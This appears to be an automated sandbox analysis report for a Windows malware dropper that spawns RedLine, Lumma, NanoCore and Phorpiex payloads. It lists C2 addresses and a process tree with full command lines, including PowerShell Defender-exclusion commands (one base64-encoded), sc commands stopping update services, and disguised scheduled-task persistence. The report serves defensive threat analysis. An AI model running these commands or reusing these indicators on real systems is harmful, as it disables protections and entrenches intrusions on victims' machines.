Overview

overview

10

Static

static

3

4363463463...63.exe

windows7-x64

10

4363463463...63.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-08-2024 11:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    4363463463464363463463463.exe

  • Size

    10KB

  • MD5

    2a94f3960c58c6e70826495f76d00b85

  • SHA1

    e2a1a5641295f5ebf01a37ac1c170ac0814bb71a

  • SHA256

    2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

  • SHA512

    fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f

  • SSDEEP

    192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Score
10/10
lummananocorephorphiexredline30072024credential_accessdiscoveryevasionexecutioninfostealerkeyloggerloaderpersistencepyinstallerspywarestealertrojanworm

Malware Config

Extracted

Family

redline

Botnet

30072024

C2

185.215.113.67:40960

Extracted

Family

lumma

C2

https://potentioallykeos.shop/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Modifies security service 2 TTPs 3 IoCs
    evasion
  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Phorphiex payload 4 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

    wormtrojanloaderphorphiex
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Windows security bypass 2 TTPs 24 IoCs
    evasiontrojan
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Contacts a large (1629) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 49 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 28 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 9 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: SetClipboardViewer 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 13 IoCs
  • Suspicious use of SendNotifyMessage 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3504
      • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
        "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3856
        • C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1064
          • C:\Windows\sysmysldrv.exe
            C:\Windows\sysmysldrv.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4712
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3652
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4532
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4536
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:3564
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1992
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1008
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:3524
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS
                6⤵
                • Launches sc.exe
                PID:2548
            • C:\Users\Admin\AppData\Local\Temp\2104311031.exe
              C:\Users\Admin\AppData\Local\Temp\2104311031.exe
              5⤵
              • Executes dropped EXE
              PID:4772
        • C:\Users\Admin\AppData\Local\Temp\Files\mail.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\mail.exe"
          3⤵
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • System Location Discovery: System Language Discovery
          PID:4796
        • C:\Users\Admin\AppData\Local\Temp\Files\Opdxdyeul.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\Opdxdyeul.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3796
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARgBpAGwAZQBzAFwATwBwAGQAeABkAHkAZQB1AGwALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARgBpAGwAZQBzAFwATwBwAGQAeABkAHkAZQB1AGwALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAFkAagBsAHcAdQB1AHkAcwAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA=
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3016
          • C:\Users\Admin\AppData\Local\Temp\Files\Opdxdyeul.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\Opdxdyeul.exe"
            4⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:1000
        • C:\Users\Admin\AppData\Local\Temp\Files\pp.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\pp.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4328
          • C:\Windows\sysmablsvr.exe
            C:\Windows\sysmablsvr.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: SetClipboardViewer
            • Suspicious use of WriteProcessMemory
            PID:3484
            • C:\Users\Admin\AppData\Local\Temp\226375661.exe
              C:\Users\Admin\AppData\Local\Temp\226375661.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5020
        • C:\Users\Admin\AppData\Local\Temp\Files\t.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\t.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4536
          • C:\Windows\sysarddrvs.exe
            C:\Windows\sysarddrvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: SetClipboardViewer
            PID:3724
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:6668
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:6800
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
              5⤵
              • System Location Discovery: System Language Discovery
              PID:6740
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:6852
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:6948
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:6972
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:7048
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:7084
            • C:\Users\Admin\AppData\Local\Temp\3247822839.exe
              C:\Users\Admin\AppData\Local\Temp\3247822839.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:6368
        • C:\Users\Admin\AppData\Local\Temp\Files\r.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\r.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3036
        • C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1864
        • C:\Users\Admin\AppData\Local\Temp\Files\pei.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\pei.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:968
          • C:\Users\Admin\AppData\Local\Temp\131322733.exe
            C:\Users\Admin\AppData\Local\Temp\131322733.exe
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:7020
        • C:\Users\Admin\AppData\Local\Temp\Files\o.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\o.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1736
        • C:\Users\Admin\AppData\Local\Temp\Files\30072024.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\30072024.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies system certificate store
          PID:388
        • C:\Users\Admin\AppData\Local\Temp\Files\tt.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\tt.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1560
        • C:\Users\Admin\AppData\Local\Temp\Files\66b5b7e28e9ce_trab.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\66b5b7e28e9ce_trab.exe"
          3⤵
          • Checks computer location settings
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:5324
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /f /RU "Admin" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST
            4⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:5780
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /f /RU "Admin" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf LG" /sc ONLOGON /rl HIGHEST
            4⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:5608
          • C:\Users\Admin\AppData\Local\Temp\Files\66b5b7e28e9ce_trab.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\66b5b7e28e9ce_trab.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:5640
            • C:\Users\Admin\AppData\Local\Temp\Files\66b5b7e28e9ce_trab.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\66b5b7e28e9ce_trab.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:6556
        • C:\Users\Admin\AppData\Local\Temp\Files\t1.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\t1.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:5616
        • C:\Users\Admin\AppData\Local\Temp\Files\nano.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\nano.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious behavior: SetClipboardViewer
          • Suspicious use of AdjustPrivilegeToken
          PID:5984
        • C:\Users\Admin\AppData\Local\Temp\Files\tdrpload.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\tdrpload.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:6592
        • C:\Users\Admin\AppData\Local\Temp\Files\193.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\193.exe"
          3⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          PID:6168
        • C:\Users\Admin\AppData\Local\Temp\Files\a.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\a.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:7272
        • C:\Users\Admin\AppData\Local\Temp\Files\m.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\m.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:7480
        • C:\Users\Admin\AppData\Local\Temp\Files\s.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\s.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:8460
        • C:\Users\Admin\AppData\Local\Temp\Files\Onedrive.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\Onedrive.exe"
          3⤵
          • Executes dropped EXE
          PID:9052
        • C:\Users\Admin\AppData\Local\Temp\Files\pi.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\pi.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4812
          • C:\Windows\sylsplvc.exe
            C:\Windows\sylsplvc.exe
            4⤵
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: SetClipboardViewer
            PID:8500
            • C:\Users\Admin\AppData\Local\Temp\297578827.exe
              C:\Users\Admin\AppData\Local\Temp\297578827.exe
              5⤵
              • Executes dropped EXE
              PID:9760
        • C:\Users\Admin\AppData\Local\Temp\Files\test.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\test.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:8752
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
            4⤵
              PID:10268
          • C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe"
            3⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:9724
          • C:\Users\Admin\AppData\Local\Temp\Files\updater.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\updater.exe"
            3⤵
            • Executes dropped EXE
            PID:9356
            • C:\Users\Admin\AppData\Local\Temp\Files\updater.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\updater.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:9396
          • C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:9472
            • C:\Users\Admin\AppData\Local\Temp\828713714.exe
              C:\Users\Admin\AppData\Local\Temp\828713714.exe
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:9652
          • C:\Users\Admin\AppData\Local\Temp\Files\66bddfc358668_stealc.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\66bddfc358668_stealc.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:10076
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              4⤵
              • Checks computer location settings
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              PID:9392
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\AdminIJEBKKEGDB.exe"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:10336
                • C:\Users\AdminIJEBKKEGDB.exe
                  "C:\Users\AdminIJEBKKEGDB.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  PID:2224
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    7⤵
                    • Checks processor information in registry
                    PID:10248
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\AdminDAEBFHJKJE.exe"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:10496
                • C:\Users\AdminDAEBFHJKJE.exe
                  "C:\Users\AdminDAEBFHJKJE.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  PID:4116
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    PID:10768
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 10768 -s 1260
                      8⤵
                      • Program crash
                      PID:11008
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 10768 -s 1240
                      8⤵
                      • Program crash
                      PID:11028
          • C:\Users\Admin\AppData\Local\Temp\Files\l2.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\l2.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:10444
            • C:\Windows\SysWOW64\schtasks.exe
              /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:10784
          • C:\Users\Admin\AppData\Local\Temp\Files\aaa.exe
            "C:\Users\Admin\AppData\Local\Temp\Files\aaa.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:10600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:10060
        • C:\Windows\System32\schtasks.exe
          C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
          2⤵
            PID:9356
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:9712
          • C:\Windows\System32\notepad.exe
            C:\Windows\System32\notepad.exe
            2⤵
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:10428
        • C:\ProgramData\fvfd\knrxsf.exe
          C:\ProgramData\fvfd\knrxsf.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3880
          • C:\ProgramData\fvfd\knrxsf.exe
            "C:\ProgramData\fvfd\knrxsf.exe"
            2⤵
            • Executes dropped EXE
            PID:6264
        • C:\ProgramData\fvfd\knrxsf.exe
          C:\ProgramData\fvfd\knrxsf.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4588
          • C:\ProgramData\fvfd\knrxsf.exe
            "C:\ProgramData\fvfd\knrxsf.exe"
            2⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3180
        • C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
          "C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
          1⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          PID:9452
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 10768 -ip 10768
          1⤵
            PID:10932
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 10768 -ip 10768
            1⤵
              PID:10964

            Network

            MITRE ATT&CK Enterprise v15

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            1
            T1059

            PowerShell

            1
            T1059.001

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            System Services

            1
            T1569

            Service Execution

            1
            T1569.002

            Persistence

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            2
            T1543

            Windows Service

            2
            T1543.003

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            2
            T1543

            Windows Service

            2
            T1543.003

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Impair Defenses

            3
            T1562

            Disable or Modify Tools

            2
            T1562.001

            Modify Registry

            5
            T1112

            Subvert Trust Controls

            1
            T1553

            Install Root Certificate

            1
            T1553.004

            Credential Access

            Credentials from Password Stores

            1
            T1555

            Credentials from Web Browsers

            1
            T1555.003

            Unsecured Credentials

            4
            T1552

            Credentials In Files

            4
            T1552.001

            Discovery

            Network Service Discovery

            1
            T1046

            Query Registry

            4
            T1012

            System Information Discovery

            4
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            Lateral Movement

            Collection

            Data from Local System

            3
            T1005

            Command and Control

            Exfiltration

            Impact

            Service Stop

            1
            T1489

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\ProgramData\mozglue.dll
              Filesize

              593KB

              MD5

              c8fd9be83bc728cc04beffafc2907fe9

              SHA1

              95ab9f701e0024cedfbd312bcfe4e726744c4f2e

              SHA256

              ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

              SHA512

